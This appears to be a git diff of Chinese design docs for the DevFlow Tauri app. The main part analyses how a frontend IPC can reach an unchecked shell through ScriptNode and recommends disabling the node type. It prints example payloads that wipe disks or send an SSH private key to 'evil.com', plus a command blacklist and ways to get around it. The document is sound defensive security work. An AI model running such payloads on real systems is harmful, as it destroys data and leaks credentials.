> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
|
||||
> 日期:2026-06-15
|
||||
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度)
|
||||
|
||||
---
|
||||
|
||||
## 一、问题:run_workflow IPC 经 ScriptNode 执行前端任意 shell(security P1)
|
||||
|
||||
### 1.1 攻击面分析(前端 IPC → 任意 shell 的完整路径)
|
||||
|
||||
```
|
||||
前端 runWorkflow(name, dag, config)
|
||||
└─ invoke('run_workflow', { name, dag: DagDef, config }) ← IPC 边界,dag 为前端任意构造的 serde JSON
|
||||
└─ src-tauri/commands/workflow.rs:36 run_workflow
|
||||
├─ state.registry.build_dag(&dag) ← 仅校验节点类型已注册 + 边两端存在
|
||||
└─ DagExecutor::new(...).run(&runtime_dag, config) ← 异步后台执行
|
||||
└─ ScriptNode::execute(ctx) [crates/df-nodes/script_node.rs:11]
|
||||
├─ command = ctx.config["command"] ← 原始字符串,无校验
|
||||
└─ ShellRequest { command, working_dir, .. }
|
||||
└─ df_execute::shell::execute [crates/df-execute/shell.rs:34]
|
||||
├─ Windows: cmd /C <command>
|
||||
└─ Unix: sh -c <command> ← 全 shell 解释器,含管道/重定向/通配
|
||||
```
|
||||
|
||||
前端可提交任意 `DagDef`:
|
||||
|
||||
```ts
|
||||
// 等价攻击载荷(任一)
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'del /S /Q C:\\*' } } }, edges: [] }
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'curl evil.com/exfil?d=$(cat ~/.ssh/id_rsa)' } } }, edges: [] }
|
||||
{ nodes: { x: { node_type: 'script', config: { command: 'rm -rf /', working_dir: '/' } } }, edges: [] }
|
||||
```
|
||||
|
||||
`build_dag`(`crates/df-workflow/registry.rs:42`)只做两类校验:
|
||||
1. `node_type` 已注册("script"/"human"/"ai")——攻击者用合法的 "script"
|
||||
2. 边的 source/target 节点存在——单节点 DAG 无边,零约束通过
|
||||
|
||||
**对 `config.command` / `config.working_dir` 无任何校验**,直接落到 shell 解释器。
|
||||
|
||||
### 1.2 为何完全独立于 AI 工具 RiskLevel 审批链
|
||||
|
||||
DevFlow 有两条独立的「前端 → 后端可执行」通路,安全机制割裂:
|
||||
|
||||
| 通路 | 入口 | 风控机制 | 审批位置 |
|
||||
|------|------|---------|---------|
|
||||
| **AI 工具调用**(LLM 驱动) | agentic loop → `AiToolRegistry` | `RiskLevel::{Low, Medium, High}` | `audit.rs:265-271`:Medium/High 写入 `AiSession.pending_approvals`,前端 ToolCard 阻塞审批 |
|
||||
| **工作流执行**(前端直接驱动) | `run_workflow` IPC → DagDef | **无** | DagDef 无 RiskLevel 字段,ScriptNode 不查 pending_approvals |
|
||||
|
||||
关键不对称点:
|
||||
- AI 工具调 shell 走 `execute_command`(tool_registry.rs),**RiskLevel::High + 审批**
|
||||
- 工作流 ScriptNode 调 shell 走 `df_execute::shell::execute`,**零风控**
|
||||
- 两条通路最终都落到同款 `cmd /C | sh -c`,但前者有闸门、后者无闸门
|
||||
|
||||
更隐蔽的二次风险:AI 工具 `run_workflow`(`tool_registry.rs:383-389`)本身是 RiskLevel::High 且**目前是 no-op 桩**(R-PD-12),LLM 即使调用也只拿到 `{ note: "请通过工作流页面运行" }`。但 **LLM 若未来引导用户提交特定 DagDef 到 `run_workflow` IPC**(绕过 AI 工具桩),就直接触达无审批 shell。R-PD-12 把 AI 工具桩做实或删除时,本设计的边界必须先就位,否则等于给 LLM 开了一条绕过自己审批链的暗道。
|
||||
|
||||
---
|
||||
|
||||
## 二、现状
|
||||
|
||||
### 2.1 DagDef 前端构造,无后端校验
|
||||
|
||||
`DagDef`(`crates/df-workflow/dag_def.rs:7-11`)是纯数据结构:
|
||||
|
||||
```rust
|
||||
pub struct DagDef {
|
||||
pub nodes: HashMap<String, NodeDef>, // node_type: String, config: serde_json::Value
|
||||
pub edges: Vec<EdgeDef>,
|
||||
}
|
||||
```
|
||||
|
||||
`run_workflow`(`workflow.rs:36`)收 `dag: DagDef` 参数,Tauri 反序列化后直接 `build_dag`。前端唯一构造点是 `src/views/ProjectDetail.vue:258-268` 的 `demoDag`:
|
||||
|
||||
```ts
|
||||
const demoDag = {
|
||||
nodes: [
|
||||
{ id: 'n1', node_type: 'script', label: '环境检查', config: { command: 'echo "Environment OK"', timeout_secs: 10 } },
|
||||
{ id: 'n2', node_type: 'script', label: '运行测试', config: { command: 'echo "Tests passed"', timeout_secs: 10 } },
|
||||
{ id: 'n3', node_type: 'script', label: '构建产物', config: { command: 'echo "Build success"', timeout_secs: 10 } },
|
||||
],
|
||||
edges: [{ from: 'n1', to: 'n2' }, { from: 'n2', to: 'n3' }],
|
||||
}
|
||||
```
|
||||
|
||||
**全仓 grep 确认:除 demoDag 外,前端无任何其他 script 节点构造点,无构建/部署/迁移脚本入口。workflow 当前为纯演示功能。**
|
||||
|
||||
### 2.2 ScriptNode 无约束
|
||||
|
||||
`crates/df-nodes/script_node.rs:11-42`:从 `config.command` 取原始串,原样塞 `ShellRequest.command`,`working_dir` 也原样透传。无白名单、无路径锚定、无审批查询。
|
||||
|
||||
### 2.3 shell 解释器全权委托
|
||||
|
||||
`crates/df-execute/shell.rs:37-45`:`cmd /C <command>` / `sh -c <command>`,命令字符串经完整 shell 解释器(管道、重定向、变量展开、通配、命令分隔符全开)。R-P1-2 已修 kill_on_drop(僵尸进程问题),但不影响安全边界。
|
||||
|
||||
---
|
||||
|
||||
## 三、方案三选一详析
|
||||
|
||||
### 方案 ①:build_registry 不注册 "script",掐断节点类型(最安全最小)
|
||||
|
||||
**做法**:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)`。`build_dag` 遇到 `node_type=="script"` 走 `registry.rs:37` 的 `未注册的节点类型` 分支直接 bail。
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **最高**。攻击面从「任意 shell」直接归零,无任何残留路径。无工作目录逃逸、无参数注入、无审批异步语义问题 |
|
||||
| 功能性 | **演示功能报废**。`ProjectDetail.vue` demoDag 三步 echo 全部 `build_dag` 失败,`runDemoWorkflow` 报错。HumanNode/AiNode 不受影响(仍注册) |
|
||||
| 改动面 | **最小**。1 处删除(state.rs:227-229 共 3 行)。可选附带:前端 demoDag 改用 "human" 节点演示,或整个 demoDag 下线 |
|
||||
| 误杀风险 | **零误杀**(无合法用户脚本可误杀)。但等于宣告「DevFlow 工作流不支持脚本节点」,是产品决策 |
|
||||
|
||||
### 方案 ②:限定工作目录在已绑定项目 path 内 + 高危命令前缀走 HumanNode 审批
|
||||
|
||||
**做法**:
|
||||
- ScriptNode 执行前,校验 `working_dir`(默认取 NodeContext 的项目 path)必须 `canonicalize()` 后落在某已绑定项目根下(防 `../` 逃逸)
|
||||
- 命令前缀扫描:`del /`、`rm -rf`、`curl`、`wget`、`> /dev/`、`mkfs`、`format` 等命中 → 改走 HumanNode 审批流程(emit `HumanApprovalRequest`,复用现有 `approve_human_approval` IPC)
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **中**。挡住工作目录外写、明显高危前缀。但**前缀黑名单天然不完备**:`curl` 可写成 `c""url`、`$(curl)`、`cu"+"rl`、PowerShell 别名 `iwr`;管道注入 `echo x; rm -rf /`;环境变量展开 `$EVIL`。攻击者绕过黑名单的成本远低于维护黑名单的成本 |
|
||||
| 功能性 | **保留构建脚本能力**(未来真要跑 `npm run build` / `mvn package` 可用),且高危操作有审批兜底 |
|
||||
| 改动面 | **大**。ScriptNode 加路径校验(canonicalize + starts_with)+ 黑名单扫描 + 审批注入逻辑(ScriptNode 不再是叶子执行,要会发 HumanApprovalRequest 并阻塞等 Response,复用 human_node.rs 的 select! 模式,~80 行) |
|
||||
| 误杀风险 | **高且无解**。合法 `npm run deploy` 含 "deploy" 不命中黑名单但实际可能外发;合法 `git clean -fd` 命中 "clean"/"rm" 语义但非删除系统文件。黑名单要么漏报、要么误杀,无优雅平衡点 |
|
||||
|
||||
### 方案 ③:ScriptNode 命令白名单 npm/git/mvn 前缀 + 参数过滤
|
||||
|
||||
**做法**:定义允许的命令前缀(`npm`、`git`、`mvn`、`cargo`、`echo`、`node` 等),命令必须以白名单前缀开头;参数层过滤 `;`、`&&`、`|`、`$()`、反引号等 shell 元字符。
|
||||
|
||||
**四维对比**:
|
||||
|
||||
| 维度 | 评价 |
|
||||
|------|------|
|
||||
| 安全性 | **中高**。比黑名单强(默认拒绝)。但「参数过滤 shell 元字符」本质上是在重新实现 shell 转义,**已知是不可解问题**(参数里嵌合法字符、引号配对、Unicode 同形字符均可绕过)。且白名单命令自身有副作用(`git push`、`npm publish`、`cargo run -- <任意>`) |
|
||||
| 功能性 | **受限**。只能跑白名单内的命令族,`echo` 演示能保,但任意 shell 管道/组合命令报废 |
|
||||
| 改动面 | **中**。ScriptNode 加白名单匹配(~30 行)+ 参数 sanitizer(~50 行,且 sanitizer 难写对) |
|
||||
| 误杀风险 | **高**。合法 `npm run build && npm run test` 被 `&&` 过滤误杀;合法 `git log --grep="feat | fix"` 被管道符误杀 |
|
||||
|
||||
---
|
||||
|
||||
## 四、推荐方案:①(不注册 "script"),前端 demoDag 同步下线
|
||||
|
||||
### 4.1 推荐 + 理由
|
||||
|
||||
**推荐方案 ①**:删除 `src-tauri/src/state.rs:227-229` 的 "script" 注册,同步下线 `ProjectDetail.vue` 的 demoDag(或改用 "human" 节点演示审批流)。
|
||||
|
||||
**核心取舍**:DevFlow 工作流当前是纯演示功能(前端唯一构造点是三步 echo demoDag,无任何真实构建/部署/迁移脚本入口),而方案 ②③ 的安全机制(黑名单/参数过滤)本质是**不完备的运行时博弈**——攻击者绕过成本永远低于防御维护成本。在「无真实脚本需求」的前提下,方案 ① 用一行删除换攻击面归零,性价比远超另两方案。
|
||||
|
||||
**触发升力的条件**:若未来 DevFlow 要把工作流做成真实 CI/CD(跑项目构建/部署脚本),此时**不应回头启用 ScriptNode + 加黑名单**,而应**新建一个独立的安全执行节点**(如 `BuildNode`),从一开始就内建白名单 + 项目目录锚定 + 审批链复用 AI 工具 RiskLevel。换句话说,方案 ① 不是「放弃脚本能力」,而是「把脚本能力延后到真正需要时,用专门节点一次性做对」。
|
||||
|
||||
### 4.2 改动面(具体函数 + 行号)
|
||||
|
||||
**后端(必须)**:
|
||||
|
||||
`src-tauri/src/state.rs:225-237` `build_registry`,删除 script 注册:
|
||||
|
||||
```rust
|
||||
// 改前
|
||||
fn build_registry() -> NodeRegistry {
|
||||
let mut registry = NodeRegistry::new();
|
||||
registry.register("script", |_config| {
|
||||
Box::new(df_nodes::script_node::ScriptNode)
|
||||
});
|
||||
registry.register("human", |_config| { ... });
|
||||
registry.register("ai", |_config| { ... });
|
||||
registry
|
||||
}
|
||||
|
||||
// 改后
|
||||
fn build_registry() -> NodeRegistry {
|
||||
let mut registry = NodeRegistry::new();
|
||||
// "script" 节点不注册:ScriptNode 走 cmd /C | sh -c 执行 config.command 原始串,
|
||||
// 前端可构造任意 DagDef 触达无审批 shell(R-PD-2)。DevFlow 工作流当前为纯演示
|
||||
// 功能(前端唯一构造点 ProjectDetail.vue demoDag 三步 echo),无真实构建/部署脚本
|
||||
// 需求。需要脚本执行能力时新建独立 BuildNode(白名单 + 项目目录锚定 + 复用 AI 工具
|
||||
// RiskLevel 审批链),而非回头启用 ScriptNode + 黑名单。
|
||||
registry.register("human", |_config| { ... });
|
||||
registry.register("ai", |_config| { ... });
|
||||
registry
|
||||
}
|
||||
```
|
||||
|
||||
效果:`run_workflow` 提交含 `node_type=="script"` 的 DagDef 时,`build_dag` → `registry.create` 走 `registry.rs:37` 的 `未注册的节点类型: script` bail,IPC 直接返 Err,不入库、不进后台执行。
|
||||
|
||||
**前端(必须,否则 demoDag 触发 build_dag 失败报错)**:
|
||||
|
||||
`src/views/ProjectDetail.vue:258-278`,二选一:
|
||||
- **a) 下线 demoDag**:删除 `demoDag` 常量 + `runDemoWorkflow` 函数 + 模板中的「运行演示工作流」按钮(最干净)
|
||||
- **b) 改 human 节点演示**:demoDag 改为单节点 human 审批流(演示审批 IPC 通路),保留「工作流页面」基本展示能力
|
||||
|
||||
推荐 a(工作流演示能力本就单薄,移除比换内容更诚实;待真实工作流需求落地时一并重做)。
|
||||
|
||||
**保留不删**:
|
||||
- `crates/df-nodes/script_node.rs` 文件保留(不删 ScriptNode 实现),只把入口掐断。理由:未来 BuildNode 可复用其 `df_execute::shell::execute` 调用骨架;现在删了未来还要重写。注释顶部加一句「当前未注册到 NodeRegistry,见 R-PD-2 设计文档」
|
||||
- `crates/df-execute/shell.rs` 完全保留(R-P1-2 kill_on_drop 刚修,且 BuildNode 未来要用)
|
||||
|
||||
### 4.3 改动量与风险评级
|
||||
|
||||
- 后端:3 行删除 + 1 段注释
|
||||
- 前端:~25 行删除(demoDag + runDemoWorkflow + 按钮)
|
||||
- 风险:**极低**。功能面仅损失演示能力(本就单薄),无真实用户脚本被误杀。build_dag 失败路径已有完善错误返回(registry.rs:37),前端 IPC 拿到 Err 正常展示。
|
||||
|
||||
---
|
||||
|
||||
## 五、风险与未决
|
||||
|
||||
### 5.1 本方案(①)的风险
|
||||
|
||||
| 风险 | 评估 |
|
||||
|------|------|
|
||||
| 演示功能报废影响产品认知 | 低。工作流本就是 Phase1 演示,且 HumanNode/AiNode 仍注册,审批流 + AI 节点链路仍可演示 |
|
||||
| 未来需要脚本能力时回头启用 ScriptNode | **决策点**:见 §4.1,明确「新建 BuildNode,不复活 ScriptNode」。若团队遗忘此决策直接取消注释 register("script"),安全缺口原样回归——需在本设计文档 + 经验记录双锚定 |
|
||||
| ScriptNode 死代码残留引发误解 | 中。需在 `script_node.rs` 顶部加注释指回本文档(已在 §4.2 列入改动面) |
|
||||
|
||||
### 5.2 若选 ②③ 会引入的风险(备选方案未选理由的展开)
|
||||
|
||||
- **白名单/黑名单误杀合法构建命令**:`npm run deploy && git push` 这类组合命令天然被元字符过滤误杀,开发者反复碰壁后会推动放宽规则,最终规则松到形同虚设(业界 CI 逃逸史常见)
|
||||
- **工作目录 canonicalize 逃逸**:Windows 上 `\\?\C:\` 短路径、符号链接、junction、UNC 路径(`\\server\share`)均可绕过 `Path::starts_with`;Unix 上 `~/`、`/proc/self/root` 逃逸。canonicalize 只解析 symlink,不挡 mount boundary
|
||||
- **审批链与 workflow 异步语义结合**:ScriptNode 若改走 HumanNode 审批,意味着 ScriptNode 也要发 `HumanApprovalRequest` + select! 等 Response。但 ScriptNode 当前是叶子执行节点,引入审批等于把 ScriptNode 变成半 HumanNode——节点抽象边界混乱。且审批窗口期内前端 cancel_workflow_node 与 ScriptNode 内部 select! 的取消信号传递需重做(HumanNode 已踩过 TOCTOU 坑 R-P1-3,再踩一遍成本高)
|
||||
|
||||
---
|
||||
|
||||
## 六、关联
|
||||
|
||||
### 6.1 与 R-PD-12(run_workflow AI 工具 no-op 桩)的协同
|
||||
|
||||
R-PD-12 处理 AI 工具 `run_workflow`(`tool_registry.rs:383-389`):当前 RiskLevel::High + no-op 返 `{ note: "请通过工作流页面运行" }`,前端 prompt/audit/ToolCard 当真实能力宣传,体验断裂。
|
||||
|
||||
**协同关系**:
|
||||
- 本方案(R-PD-2)先把 workflow 系统的 shell 边界封死(掐断 ScriptNode),R-PD-12 再决定 AI 工具 `run_workflow` 的去留才安全
|
||||
- 若 R-PD-12 决定「做实 run_workflow AI 工具」——LLM 可驱动用户提交 DagDef,此时 workflow 边界必须先就位(即本方案先行)
|
||||
- 若 R-PD-12 决定「删除 run_workflow 假能力」——两条通路都封死,安全闭合
|
||||
- **顺序约束:R-PD-2 先于 R-PD-12 落地**(或同批)。反过来 R-PD-12 先做实、R-PD-2 没做,等于给 LLM 开了一条绕过自身 RiskLevel 审批链的暗道
|
||||
|
||||
### 6.2 与 shell.rs R-P1-2(kill_on_drop)的关系
|
||||
|
||||
R-P1-2(已修)解决的是 `shell::execute` 超时未 kill 子进程致僵尸/fd 泄漏(可靠性维度)。本方案 R-PD-2 解决的是「这个 shell 入口该不该被前端无审批触达」(安全维度)。
|
||||
|
||||
- 两者正交:R-P1-2 让被允许执行的 shell 更可靠,R-PD-2 让不该执行的 shell 根本不执行
|
||||
- R-P1-2 已落地的 `kill_on_drop(true) + spawn + wait_with_output` 在本方案后**保留不变**(shell.rs 完全不动,未来 BuildNode 复用)
|
||||
- 即使本方案掐断 ScriptNode,shell.rs 的修复仍有价值:BuildNode 未来会调它,且修复本身是独立可靠性提升
|
||||
|
||||
---
|
||||
|
||||
## 七、落地动作清单
|
||||
|
||||
- [ ] 后端:`src-tauri/src/state.rs:227-229` 删除 `registry.register("script", ...)` + 加决策注释
|
||||
- [ ] 后端:`crates/df-nodes/script_node.rs` 顶部加注释「当前未注册到 NodeRegistry,见 docs/02-架构设计/工作流脚本执行边界-2026-06-15.md」
|
||||
- [ ] 前端:`src/views/ProjectDetail.vue` 下线 demoDag + runDemoWorkflow + 模板按钮(推荐 a)
|
||||
- [ ] 文档:本设计文档归档到 `docs/02-架构设计/`
|
||||
- [ ] 决策记录:补一条功能决策记录(ScriptNode 不注册的安全边界 + 未来 BuildNode 升力路径)
|
||||
- [ ] todo:R-PD-12 标注「依赖 R-PD-2 先落地」
|
||||
- [ ] 经验记录:黑名单/参数过滤方案为何不选(业界 CI 逃逸史 + 不完备博弈),避免未来误走回头路
|
||||
@@ -24,10 +24,10 @@
|
||||
|---|---|---|
|
||||
| `PROGRESS.md`(根级) | 工作流水:Sprint 做了啥 / 遗留 / 下一步 | 决策原因、实现细节、需求规格 |
|
||||
| `ARCHITECTURE.md` | 系统架构全貌:crate 结构 / 数据模型 / Phase 规划 | 功能点取舍、Sprint 流水 |
|
||||
| `02-架构设计/Phase1架构决策.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
|
||||
| `02-架构设计/功能决策记录.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
|
||||
| `02-架构设计/经验记录.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
|
||||
| `02-架构设计/功能决策记录-归档.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
|
||||
| `02-架构设计/Phase1架构决策-2026-06-12.md` | 架构级选型(ADR,系统级) | 功能实现层取舍 |
|
||||
| `02-架构设计/功能决策记录-2026-06-14.md` | 功能**需求规格 + 设计决策规格**(为什么这么定 + 要做什么) | 流水、架构级选型、经验性内容 |
|
||||
| `02-架构设计/经验记录-2026-06-14.md` | 经验性内容(踩坑/约定/技巧/bug 排查教训) | 决策、需求、流水 |
|
||||
| `02-架构设计/功能决策记录-归档-2026-06-14.md` | 纯流水/老 Sprint/UX 微调/已被取代(归档只读) | (不再维护更新) |
|
||||
| `03-模块文档/*.md` | 各 crate 实现细节(单模块内) | 跨模块决策、流水 |
|
||||
| `04-功能迭代/DEVFLOW-N.*.md` | 功能开发过程记录(一次性,开发期) | 持续维护的决策 |
|
||||
| `05-代码审查/*.md` | 审查报告与发现 | (若成决策 → 转记功能决策记录) |
|
||||
@@ -43,14 +43,14 @@
|
||||
| 你要记的内容 | 主文档(优先写) | 按需交叉引用 |
|
||||
|---|---|---|
|
||||
| 本 Sprint 做了啥 / 遗留 | `PROGRESS.md` | `04-功能迭代/`(详过程) |
|
||||
| 为什么这么实现(选 A 不选 B) | `功能决策记录.md` | 模块文档、PROGRESS |
|
||||
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录.md` | 功能决策记录 |
|
||||
| 架构级选型 | `Phase1架构决策.md` / `ARCHITECTURE.md` | — |
|
||||
| 新需求 / 待办 / 功能规格 | `功能决策记录.md`(需求维度) | `Phase2计划.md` |
|
||||
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录.md`(需求澄清) | — |
|
||||
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档.md` | (归档只读,不再维护) |
|
||||
| 为什么这么实现(选 A 不选 B) | `功能决策记录-2026-06-14.md` | 模块文档、PROGRESS |
|
||||
| 踩坑 / 约定 / 技巧 / bug 排查教训 | `经验记录-2026-06-14.md` | 功能决策记录 |
|
||||
| 架构级选型 | `Phase1架构决策-2026-06-12.md` / `ARCHITECTURE.md` | — |
|
||||
| 新需求 / 待办 / 功能规格 | `功能决策记录-2026-06-14.md`(需求维度) | `Phase2计划-2026-06-12.md` |
|
||||
| 对话中需求澄清(原以为 X 实为 Y) | `功能决策记录-2026-06-14.md`(需求澄清) | — |
|
||||
| 老 Sprint 决策 / UX 微调 / 已被取代 | `功能决策记录-归档-2026-06-14.md` | (归档只读,不再维护) |
|
||||
| 单模块实现细节 | `03-模块文档/<对应>.md` | — |
|
||||
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录.md` |
|
||||
| 代码审查发现 | `05-代码审查/` | 转决策 → `功能决策记录-2026-06-14.md` |
|
||||
| 前端规范变更 | `06-前端开发/` | — |
|
||||
| 用户操作说明 | `08-用户指南/` | — |
|
||||
|
||||
@@ -63,7 +63,7 @@
|
||||
3. **引用处加交叉链接**,不抄正文
|
||||
|
||||
**例**:做了「shouldKeepOpen 折叠」
|
||||
- 真相源:`功能决策记录.md` 写决策 / 原因 / 状态 ✅
|
||||
- 真相源:`功能决策记录-2026-06-14.md` 写决策 / 原因 / 状态 ✅
|
||||
- 流水:`PROGRESS.md` 记「审查①已落地」+ 链接到功能决策记录
|
||||
- **不**在模块文档 / ARCHITECTURE 重复抄决策正文
|
||||
|
||||
@@ -92,7 +92,7 @@
|
||||
|
||||
**3. 配合交接文档(PROGRESS)**
|
||||
- PROGRESS 是**交接文档**,只记「做了啥 + 链接」,不展开决策/需求正文
|
||||
- 决策正文 → `功能决策记录.md`;需求 → `功能决策记录` 的「需求与待办」
|
||||
- 决策正文 → `功能决策记录-2026-06-14.md`;需求 → `功能决策记录` 的「需求与待办」
|
||||
- 交接路径:读 PROGRESS 知进度 → 读 `功能决策记录` 知「为什么 + 要做什么」→ 读模块文档知「怎么实现」
|
||||
|
||||
**4. 定期唯一性扫描(防积累散乱)**
|
||||
@@ -115,7 +115,7 @@
|
||||
|
||||
`decision-record` skill 触发时,按本规范路由:
|
||||
|
||||
- **决策 / 需求** → `功能决策记录.md`(主,真相源)
|
||||
- **决策 / 需求** → `功能决策记录-2026-06-14.md`(主,真相源)
|
||||
- skill 执行后 → `PROGRESS.md` 加一笔流水 + 链接(可选,重大决策才加)
|
||||
|
||||
Stop hook 触发 skill 时同理,不另立记录位置。
|
||||
@@ -161,7 +161,7 @@ Stop hook 触发 skill 时同理,不另立记录位置。
|
||||
|
||||
**相关文档**:
|
||||
- `docs/INDEX.md` — 文档导航
|
||||
- `docs/02-架构设计/功能决策记录.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
|
||||
- `docs/02-架构设计/经验记录.md` — 踩坑/约定/技巧/bug 排查教训
|
||||
- `docs/02-架构设计/功能决策记录-归档.md` — 归档只读(纯流水/老 Sprint/UX 微调)
|
||||
- `docs/02-架构设计/功能决策记录-2026-06-14.md` — 需求规格 + 设计决策规格(本规范的主要应用对象)
|
||||
- `docs/02-架构设计/经验记录-2026-06-14.md` — 踩坑/约定/技巧/bug 排查教训
|
||||
- `docs/02-架构设计/功能决策记录-归档-2026-06-14.md` — 归档只读(纯流水/老 Sprint/UX 微调)
|
||||
- `PROGRESS.md` — 工作流水
|
||||
|
||||
256
docs/02-架构设计/条件表达式引擎-2026-06-15.md
Normal file
256
docs/02-架构设计/条件表达式引擎-2026-06-15.md
Normal file
@@ -0,0 +1,256 @@
|
||||
# 条件表达式引擎设计(R-PD-3 / T-260614-11)
|
||||
|
||||
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
|
||||
> 性质:设计文档(供用户核对方案),不含实现
|
||||
> 关联:todo `T-260614-11 条件表达式引擎升级`、R-P2-13(set_skipped/set_waiting 已删)
|
||||
|
||||
---
|
||||
|
||||
## 一、现状
|
||||
|
||||
### 1.1 ConditionEngine 从未被接线
|
||||
|
||||
`crates/df-workflow/src/conditions.rs:8` 定义了 `ConditionEngine::evaluate(expr, context) -> Result<bool>`,全仓 grep 确认:**除自身定义与单元测试外,零调用**。executor 从不调它,build_dag 只把 `EdgeDef.condition` 原样写入 runtime `Edge.condition`(`registry.rs:62-69`),写入后无人消费。
|
||||
|
||||
### 1.2 executor 不区分条件边,无条件灌入前驱输出
|
||||
|
||||
`executor.rs:62-97` 构建 `adjacency_in: target → Vec<source>` 时丢掉 `edge.condition`,只保留 source/target;随后 inputs 收集处(`executor.rs:91-97`):
|
||||
|
||||
```rust
|
||||
let mut inputs = HashMap::new();
|
||||
if let Some(preds) = adjacency_in.get(node_id) {
|
||||
for pred_id in preds {
|
||||
if let Some(out) = outputs.get(pred_id) {
|
||||
inputs.insert(pred_id.clone(), out.clone());
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
逐前驱无条件灌入。条件边与普通边行为完全相同。
|
||||
|
||||
### 1.3 topological_layers 把条件边计入入度
|
||||
|
||||
`dag.rs:81-90` 单次遍历边构建入度表,**不检查 `edge.condition`**。条件边 target 的入度照常 +1,BFS 分层照常把它放入某层。
|
||||
|
||||
### 1.4 复现:`add_edge_with_condition("a","c","false")` 实际 c 永远执行
|
||||
|
||||
构造 a → c(condition="false")的 DAG:
|
||||
|
||||
- `topological_layers`:a 入度 0,c 入度 1;分层为 `[[a],[c]]`
|
||||
- 第 0 层执行 a,输出存入 `outputs["a"]`
|
||||
- 第 1 层执行 c:`adjacency_in["c"] = ["a"]`,`outputs["a"]` 存在 → `inputs = {"a": <a 的输出>}`,c 照常 `execute`
|
||||
- `ConditionEngine::evaluate("false", ...)` 本应返 `Ok(false)`,但**从无调用点**
|
||||
|
||||
即条件分支这一 DAG 核心能力整体失效,且对用户静默——前端编了条件边,运行结果与无条件等价,没有任何报错或告警。
|
||||
|
||||
---
|
||||
|
||||
## 二、根因
|
||||
|
||||
三个缺口叠加:
|
||||
|
||||
| 缺口 | 位置 | 表现 |
|
||||
|------|------|------|
|
||||
| ① expressions 仅 true/false 字面量 | `conditions.rs:16-33` | TODO 列了 JSON Path / 比较 / contains / and-or-not,全未实现;只认 `"true"`/`"false"` 两字面量 |
|
||||
| ② executor 无 evaluate 调用 | `executor.rs:91-97` | inputs 收集不读 `edge.condition`,条件边与普通边行为相同 |
|
||||
| ③ topological_layers 计入条件边入度 | `dag.rs:81-90` | 条件边 target 的入度照常 +1,BFS 照常分层调度 |
|
||||
|
||||
review 第 49 行给的修复方向("executor inputs 收集处用 ConditionEngine.evaluate 过滤;topological_layers 前过滤无效边或执行时按条件短路 target 为 Skipped")指向 ②③,本文档补全 ①(表达式能力)与 ③ 短路后的终态机制(**set_skipped 已删**,需设计替代,见 §五)。
|
||||
|
||||
---
|
||||
|
||||
## 三、表达式引擎方案
|
||||
|
||||
### 3.1 现状能力
|
||||
|
||||
`ConditionEngine::evaluate` 当前支持:
|
||||
|
||||
- `"true"` / `"false"` 字面量(区分大小写,先 `trim()` 去首尾空白)
|
||||
- 其余一律 `Ok(false)` + warn(保守拒绝,B-260614-02 已修,默认 true→false)
|
||||
|
||||
### 3.2 支持范围(目标语法)
|
||||
|
||||
工作流条件边的实际诉求是"据前驱节点输出决定下游是否执行"。最小可用集:
|
||||
|
||||
| 语法 | 示例 | 说明 |
|
||||
|------|------|------|
|
||||
| 字面量 | `true` / `false` | 已有,保留 |
|
||||
| 前驱输出访问 | `pred.output.status == 'completed'` | `pred` 为前驱节点 id,`output` 为其 `NodeOutput` 序列化后字段;多前驱时需指定哪个前驱 |
|
||||
| 比较 | `==` `!=` `>` `>=` `<` `<=` | 字符串等值 + 数值大小 |
|
||||
| 包含 | `pred.output.tags contains 'ai'` | 数组包含 / 字符串子串 |
|
||||
| 逻辑组合 | `and` `or` `not` | 括号分组 |
|
||||
| 真值判断 | `pred.output.flag` | 布尔字段直接判真(无比较运算符) |
|
||||
|
||||
`context: &Value` 入参签名已就位(当前 `_context` 未用)。扩展时把当前节点所有前驱输出按 `{ "<pred_id>": <NodeOutput serde> }` 拼成 context 传入即可。
|
||||
|
||||
### 3.3 引第三方 expr 库 vs 手写最小求值器
|
||||
|
||||
| 方案 | 优点 | 缺点 |
|
||||
|------|------|------|
|
||||
| **第三方 `evalexpr`** | 成熟、支持算术/逻辑/函数/变量;API 简单(`eval_with_context`);MIT;crates.io 下载量稳定 | 新增依赖(df-workflow 当前 0 expr 库,workspace 也无);语义需对齐(其变量访问语法 `$var` vs 我们要的 `pred.output.x` 点路径);引入超出条件边需求的算术/函数能力,扩大攻击面(前端可构造任意表达式) |
|
||||
| **第三方 `jsonpath_lib` + 自写比较** | JSON Path 标准成熟,路径表达力强 | 仍需自写比较/逻辑层;两套语法拼装复杂度高于纯手写 |
|
||||
| **手写最小递归下降求值器** | 零新依赖;语法完全自定(直接支持 `pred.output.x`);能力边界可控(拒绝算术/函数,只留比较+逻辑+包含);~150 行可覆盖 §3.2 全部语法 | 自负维护(但语法面小,测试可固化)|
|
||||
|
||||
**取舍(推荐):手写最小求值器**。
|
||||
|
||||
理由:
|
||||
1. 条件边诉求面窄(比较 + 逻辑 + 包含 + 前驱输出访问),不需要通用表达式语言的算术/函数能力。
|
||||
2. 前端可构造任意条件表达式(run_workflow IPC 接 DagDef),手写小语法面比引通用 expr 库的攻击面更可控——通用 expr 库默认支持函数调用/算术,需额外配置禁用。
|
||||
3. df-workflow 当前是零外部表达式依赖的薄 crate,引入 `evalexpr` 对一个"条件分支"单一能力偏重。
|
||||
